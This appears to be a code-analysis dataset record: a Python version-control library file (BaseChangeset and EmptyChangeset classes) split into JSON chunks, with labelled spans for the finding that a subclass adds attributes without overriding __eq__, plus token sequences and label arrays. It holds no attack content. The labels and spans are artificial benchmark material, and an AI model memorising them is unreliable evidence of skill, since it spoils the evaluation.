"\\u\\u\\uNL\\u\\u\\u_", "#", " ", "exceptions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table_", "=_", "Conversation", "Table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "table_", "._", "delete", "\\u", "conversation_", "(_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "394", "2", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "table_", "._", "get", "\\u", "conversation_", "(_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "394", "2", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_",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2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
`__eq__` not overridden when adding attributes
codeinn/vcs/vcs/backends/base.py
[ { "content": "class BaseChangeset(object):\n \"\"\"\n Each backend should implement it's changeset representation.\n\n **Attributes**\n\n ``repository``\n repository object within which changeset exists\n\n ``id``\n may be ``raw_id`` or i.e. for mercurial's tip just ``tip``\n\n ``raw_id``\n raw changeset representation (i.e. full 40 length sha for git\n backend)\n\n ``short_id``\n shortened (if apply) version of ``raw_id``; it would be simple\n shortcut for ``raw_id[:12]`` for git/mercurial backends or same\n as ``raw_id`` for subversion\n\n ``revision``\n revision number as integer\n\n ``files``\n list of ``FileNode`` (``Node`` with NodeKind.FILE) objects\n\n ``dirs``\n list of ``DirNode`` (``Node`` with NodeKind.DIR) objects\n\n ``nodes``\n combined list of ``Node`` objects\n\n ``author``\n author of the changeset, as unicode\n\n ``message``\n message of the changeset, as unicode\n\n ``parents``\n list of parent changesets\n\n ``last``\n ``True`` if this is last changeset in repository, ``False``\n otherwise; trying to access this attribute while there is no\n changesets would raise ``EmptyRepositoryError``\n \"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.BaseChangeset", "header": "['module', '___EOS___']", "index": 313 }, { "content": " def __str__(self):\n return '<%s at %s:%s>' % (self.__class__.__name__, self.revision,\n self.short_id)", "metadata": "root.BaseChangeset.__str__", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 360 }, { "content": " def __repr__(self):\n return self.__str__()", "metadata": "root.BaseChangeset.__repr__", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 364 }, { "content": " def __unicode__(self):\n return u'%s:%s' % (self.revision, self.short_id)", "metadata": "root.BaseChangeset.__unicode__", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 367 }, { "content": " def __eq__(self, other):\n return self.raw_id == other.raw_id", "metadata": "root.BaseChangeset.__eq__", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 370 }, { "content": " @LazyProperty\n def last(self):\n if self.repository is None:\n raise ChangesetError(\"Cannot check if it's most recent revision\")\n return self.raw_id == self.repository.revisions[-1]", "metadata": "root.BaseChangeset.last", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 373 }, { "content": " @LazyProperty\n def parents(self):\n \"\"\"\n Returns list of parents changesets.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.parents", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 379 }, { "content": " @LazyProperty\n def children(self):\n \"\"\"\n Returns list of children changesets.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.children", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 386 }, { "content": " @LazyProperty\n def id(self):\n \"\"\"\n Returns string identifying this changeset.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.id", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 393 }, { "content": " @LazyProperty\n def raw_id(self):\n \"\"\"\n Returns raw string identifying this changeset.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.raw_id", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 400 }, { "content": " @LazyProperty\n def short_id(self):\n \"\"\"\n Returns shortened version of ``raw_id`` attribute, as string,\n identifying this changeset, useful for web representation.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.short_id", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 407 }, { "content": " @LazyProperty\n def revision(self):\n \"\"\"\n Returns integer identifying this changeset.\n\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.revision", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 415 }, { "content": " @LazyProperty\n def committer(self):\n \"\"\"\n Returns Committer for given commit\n \"\"\"\n\n raise NotImplementedError", "metadata": "root.BaseChangeset.committer", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 423 }, { "content": " @LazyProperty\n def committer_name(self):\n \"\"\"\n Returns Author name for given commit\n \"\"\"\n\n return author_name(self.committer)", "metadata": "root.BaseChangeset.committer_name", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 431 }, { "content": " @LazyProperty\n def committer_email(self):\n \"\"\"\n Returns Author email address for given commit\n \"\"\"\n\n return author_email(self.committer)", "metadata": "root.BaseChangeset.committer_email", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 439 }, { "content": " @LazyProperty\n def author(self):\n \"\"\"\n Returns Author for given commit\n \"\"\"\n\n raise NotImplementedError", "metadata": "root.BaseChangeset.author", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 447 }, { "content": " @LazyProperty\n def author_name(self):\n \"\"\"\n Returns Author name for given commit\n \"\"\"\n\n return author_name(self.author)", "metadata": "root.BaseChangeset.author_name", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 455 }, { "content": " @LazyProperty\n def author_email(self):\n \"\"\"\n Returns Author email address for given commit\n \"\"\"\n\n return author_email(self.author)", "metadata": "root.BaseChangeset.author_email", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 463 }, { "content": " def get_file_mode(self, path):\n \"\"\"\n Returns stat mode of the file at the given ``path``.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_mode", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 471 }, { "content": " def get_file_content(self, path):\n \"\"\"\n Returns content of the file at the given ``path``.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_content", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 477 }, { "content": " def get_file_size(self, path):\n \"\"\"\n Returns size of the file at the given ``path``.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_size", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 483 }, { "content": " def get_file_changeset(self, path):\n \"\"\"\n Returns last commit of the file at the given ``path``.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_changeset", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 489 }, { "content": " def get_file_history(self, path):\n \"\"\"\n Returns history of file as reversed list of ``Changeset`` objects for\n which file at given ``path`` has been modified.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_history", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 495 }, { "content": " def get_nodes(self, path):\n \"\"\"\n Returns combined ``DirNode`` and ``FileNode`` objects list representing\n state of changeset at the given ``path``.\n\n :raises ``ChangesetError``: if node at the given ``path`` is not\n instance of ``DirNode``\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_nodes", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 502 }, { "content": " def get_node(self, path):\n \"\"\"\n Returns ``Node`` object from the given ``path``.\n\n :raises ``NodeDoesNotExistError``: if there is no node at the given\n ``path``\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_node", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 512 }, { "content": " def fill_archive(self, stream=None, kind='tgz', prefix=None):\n \"\"\"\n Fills up given stream.\n\n :param stream: file like object.\n :param kind: one of following: ``zip``, ``tar``, ``tgz``\n or ``tbz2``. Default: ``tgz``.\n :param prefix: name of root directory in archive.\n Default is repository name and changeset's raw_id joined with dash.\n\n repo-tip.<kind>\n \"\"\"\n\n raise NotImplementedError", "metadata": "root.BaseChangeset.fill_archive", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 521 }, { "content": " def get_chunked_archive(self, **kwargs):\n \"\"\"\n Returns iterable archive. Tiny wrapper around ``fill_archive`` method.\n\n :param chunk_size: extra parameter which controls size of returned\n chunks. Default:8k.\n \"\"\"\n\n chunk_size = kwargs.pop('chunk_size', 8192)\n stream = kwargs.get('stream')\n self.fill_archive(**kwargs)\n while True:\n data = stream.read(chunk_size)\n if not data:\n break\n yield data", "metadata": "root.BaseChangeset.get_chunked_archive", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 536 }, { "content": " @LazyProperty\n def root(self):\n \"\"\"\n Returns ``RootNode`` object for this changeset.\n \"\"\"\n return self.get_node('')", "metadata": "root.BaseChangeset.root", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 553 }, { "content": " def next(self, branch=None):\n \"\"\"\n Returns next changeset from current, if branch is gives it will return\n next changeset belonging to this branch\n\n :param branch: show changesets within the given named branch\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.next", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 560 }, { "content": " def prev(self, branch=None):\n \"\"\"\n Returns previous changeset from current, if branch is gives it will\n return previous changeset belonging to this branch\n\n :param branch: show changesets within the given named branch\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.prev", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 569 }, { "content": " @LazyProperty\n def added(self):\n \"\"\"\n Returns list of added ``FileNode`` objects.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.added", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 578 }, { "content": " @LazyProperty\n def changed(self):\n \"\"\"\n Returns list of modified ``FileNode`` objects.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.changed", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 585 }, { "content": " @LazyProperty\n def removed(self):\n \"\"\"\n Returns list of removed ``FileNode`` objects.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.removed", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 592 }, { "content": " @LazyProperty\n def size(self):\n \"\"\"\n Returns total number of bytes from contents of all filenodes.\n \"\"\"\n return sum((node.size for node in self.get_filenodes_generator()))", "metadata": "root.BaseChangeset.size", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 599 }, { "content": " def walk(self, topurl=''):\n \"\"\"\n Similar to os.walk method. Insted of filesystem it walks through\n changeset starting at given ``topurl``. Returns generator of tuples\n (topnode, dirnodes, filenodes).\n \"\"\"\n topnode = self.get_node(topurl)\n yield (topnode, topnode.dirs, topnode.files)\n for dirnode in topnode.dirs:\n for tup in self.walk(dirnode.path):\n yield tup", "metadata": "root.BaseChangeset.walk", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 606 }, { "content": " def get_filenodes_generator(self):\n \"\"\"\n Returns generator that yields *all* file nodes.\n \"\"\"\n for topnode, dirs, files in self.walk():\n for node in files:\n yield node", "metadata": "root.BaseChangeset.get_filenodes_generator", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 618 }, { "content": " def as_dict(self):\n \"\"\"\n Returns dictionary with changeset's attributes and their values.\n \"\"\"\n data = get_dict_for_attrs(self, ['id', 'raw_id', 'short_id',\n 'revision', 'date', 'message'])\n data['author'] = {'name': self.author_name, 'email': self.author_email}\n data['added'] = [node.path for node in self.added]\n data['changed'] = [node.path for node in self.changed]\n data['removed'] = [node.path for node in self.removed]\n return data", "metadata": "root.BaseChangeset.as_dict", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 626 }, { "content": "class EmptyChangeset(BaseChangeset):\n \"\"\"\n An dummy empty changeset. It's possible to pass hash when creating\n an EmptyChangeset\n \"\"\"\n\n\n\n\n\n\n", "metadata": "root.EmptyChangeset", "header": "['module', '___EOS___']", "index": 943 }, { "content": " def __init__(self, cs='0' * 40, repo=None, requested_revision=None,\n alias=None, revision=-1, message='', author='', date=None):\n self._empty_cs = cs\n self.revision = revision\n self.message = message\n self.author = author\n self.date = date or datetime.datetime.fromtimestamp(0)\n self.repository = repo\n self.requested_revision = requested_revision\n self.alias = alias", "metadata": "root.EmptyChangeset.__init__", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 949 }, { "content": " @LazyProperty\n def raw_id(self):\n \"\"\"\n Returns raw string identifying this changeset, useful for web\n representation.\n \"\"\"\n\n return self._empty_cs", "metadata": "root.EmptyChangeset.raw_id", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 960 }, { "content": " @LazyProperty\n def branch(self):\n from vcs.backends import get_backend\n return get_backend(self.alias).DEFAULT_BRANCH_NAME", "metadata": "root.EmptyChangeset.branch", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 969 }, { "content": " @LazyProperty\n def short_id(self):\n return self.raw_id[:12]", "metadata": "root.EmptyChangeset.short_id", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 974 }, { "content": " def get_file_changeset(self, path):\n return self", "metadata": "root.EmptyChangeset.get_file_changeset", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 978 }, { "content": " def get_file_content(self, path):\n return u''", "metadata": "root.EmptyChangeset.get_file_content", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 981 }, { "content": " def get_file_size(self, path):\n return 0", "metadata": "root.EmptyChangeset.get_file_size", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 984 } ]
[ { "span": "class EmptyChangeset(BaseChangeset):", "start_line": 943, "start_column": 0, "end_line": 943, "end_column": 36 } ]
[ { "span": "def __eq__(self, other):", "start_line": 370, "start_column": 4, "end_line": 370, "end_column": 28 }, { "span": "self._empty_cs ", "start_line": 951, "start_column": 8, "end_line": 951, "end_column": 22 }, { "span": "self.revision ", "start_line": 952, "start_column": 8, "end_line": 952, "end_column": 21 }, { "span": "self.message ", "start_line": 953, "start_column": 8, "end_line": 953, "end_column": 20 }, { "span": "self.author ", "start_line": 954, "start_column": 8, "end_line": 954, "end_column": 19 }, { "span": "self.date ", "start_line": 955, "start_column": 8, "end_line": 955, "end_column": 17 }, { "span": "self.repository ", "start_line": 956, "start_column": 8, "end_line": 956, "end_column": 23 }, { "span": "self.requested_revision ", "start_line": 957, "start_column": 8, "end_line": 957, "end_column": 31 }, { "span": "self.alias ", "start_line": 958, "start_column": 8, "end_line": 958, "end_column": 18 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "eq\\u\\u_", "`_", "not_", "overrid", "den_", "when_", "addin", "g_", "attributes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Ea", "ch", " ", "back", "end", " ", "shou", "ld", " ", "implement", " ", "it", "'", "s", " ", "changeset", " ", "represent", "ation", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Attribute", "s", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "repos", "itor", "y", "``", "\\", "10", ";", " ", " ", " ", " ", "repos", "itor", "y", " ", "object", " ", "within", " ", "whi", "ch", " ", "changeset", " ", "exist", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "id", "``", "\\", "10", ";", " ", " ", " ", " ", "may", " ", "be", " ", "``", "raw", "\\u", "id", "``", " ", "or", " ", "i", ".", "e", ".", " ", "for", " ", "mercur", "ial", "'", "s", " ", "tip", " ", "just", " ", "``", "tip", "``", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "raw", "\\u", "id", "``", "\\", "10", ";", " ", " ", " ", " ", "raw", " ", "changeset", " ", "represent", "ation", " ", "(", "i", ".", "e", ".", " ", "full", " ", "40", " ", "length", " ", "sha", " ", "for", " ", "git", "\\", "10", ";", " ", " ", " ", " ", "back", "end", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "short", "\\u", "id", "``", "\\", "10", ";", " ", " ", " ", " ", "shorten", "ed", " ", "(", "if", " ", "appl", "y", ")", " ", "version", " ", "of", " ", "``", "raw", "\\u", "id", "``", ";", " ", "it", " ", "wou", "ld", " ", "be", " ", "simple", "\\", "10", ";", " ", " ", " ", " ", "shortcut", " ", "for", " ", "``", "raw", "\\u", "id", "[:", "1", "2", "]``", " ", "for", " ", "git", "/", "mercur", "ial", " ", "back", "ends", " ", "or", " ", "same", "\\", "10", ";", " ", " ", " ", " ", "as", " ", "``", "raw", "\\u", "id", "``", " ", "for", " ", "subv", "ersi", "on", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "revis", "ion", "``", "\\", "10", ";", " ", " ", " ", " ", "revis", "ion", " ", "number", " ", "as", " ", "integ", "er", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "files", "``", "\\", "10", ";", " ", " ", " ", " ", "list", " ", "of", " ", "``", "File", "Node", "``", " ", "(", "``", "Node", "``", " ", "with", " ", "Node", "Kin", "d", ".", "FILE", ")", " ", "object", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "dirs", "``", "\\", "10", ";", " ", " ", " ", " ", "list", " ", "of", " ", "``", "Dir", "Node", "``", " ", "(", "``", "Node", "``", " ", "with", " ", "Node", "Kin", "d", ".", "DIR", ")", " ", "object", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "nodes", "``", "\\", "10", ";", " ", " ", " ", " ", "combin", "ed", " ", "list", " ", "of", " ", "``", "Node", "``", " ", "object", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "author", "``", "\\", "10", ";", " ", " ", " ", " ", "author", " ", "of", " ", "the", " ", "changeset", ",", " ", "as", " ", "unicode", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "message", "``", "\\", "10", ";", " ", " ", " ", " ", "message", " ", "of", " ", "the", " ", "changeset", ",", " ", "as", " ", "unicode", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "parents", "``", "\\", "10", ";", " ", " ", " ", " ", "list", " ", "of", " ", "parent", " ", "changeset", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "last", "``", "\\", "10", ";", " ", " ", " ", " ", "``", "Tru", "e", "``", " ", "if", " ", "this", " ", "is", " ", "last", " ", "changeset", " ", "in", " ", "repos", "itor", "y", ",", " ", "``", "Fal", "se", "``", "\\", "10", ";", " ", " ", " ", " ", "other", "wis", "e", ";", " ", "try", "ing", " ", "to", " ", "access", " ", "this", " ", "attribute", " ", "whi", "le", " ", "there", " ", "is", " ", "no", "\\", "10", ";", " ", " ", " ", " ", "changeset", "s", " ", "wou", "ld", " ", "raise", " ", "``", "Emp", "ty", "Repos", "itor", "y", "Error", "``", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'<", "%", "s", " ", "at", " ", "%", "s", ":", "%", "s", ">'_", "%_", "(_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "self_", "._", "revision_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "short", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u\\u", "str\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "'%", "s", ":", "%", "s", "'_", "%_", "(_", "self_", "._", "revision_", ",_", "self_", "._", "short", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "eq\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "raw", "\\u", "id_", "==_", "other_", "._", "raw", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "last_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "repository_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Change", "set", "Error_", "(_", "\"", "Cann", "ot", " ", "check", " ", "if", " ", "it", "'", "s", " ", "most", " ", "recent", " ", "revis", "ion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "raw", "\\u", "id_", "==_", "self_", "._", "repository_", "._", "revisions_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "parents_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "list", " ", "of", " ", "parents", " ", "changeset", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "children_", "(_", "self_", 